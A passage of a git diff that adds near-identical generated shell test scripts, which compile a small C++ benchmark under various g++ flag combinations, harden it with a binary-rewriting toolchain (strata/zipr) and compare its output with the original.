+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O2 -fPIC -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O2 -fPIC -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..630e9744d2e33a72c0228291e2054554160126fc
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O2 -fPIC -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O2 -fPIC -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.-fPIC.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.-fPIC.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..3bebebafd0e1ba4ecd422a568cb180122b51c6ad
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.-fPIC.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O2 -fPIC   -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O2 -fPIC   -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.-fPIC.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.-fPIC.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..d80fa9a4f9e55e4ba980bc489791b449341af8c4
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.-fPIC.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O2 -fPIC   -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O2 -fPIC   -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.-fPIC.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.-fPIC.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..1e54363c8b178ddd43f1d62c3f9553fadbd6a773
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.-fPIC.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O2 -fPIC     -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O2 -fPIC     -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.-fPIC.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.-fPIC.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..a4cb0ea3ab67a81f15fab974006312642744a1cb
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.-fPIC.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O2 -fPIC     -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O2 -fPIC     -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.no_pic.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.no_pic.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..01d1d6fdbc57e71ef294b0d78fa71b0dbbdddd64
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.no_pic.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
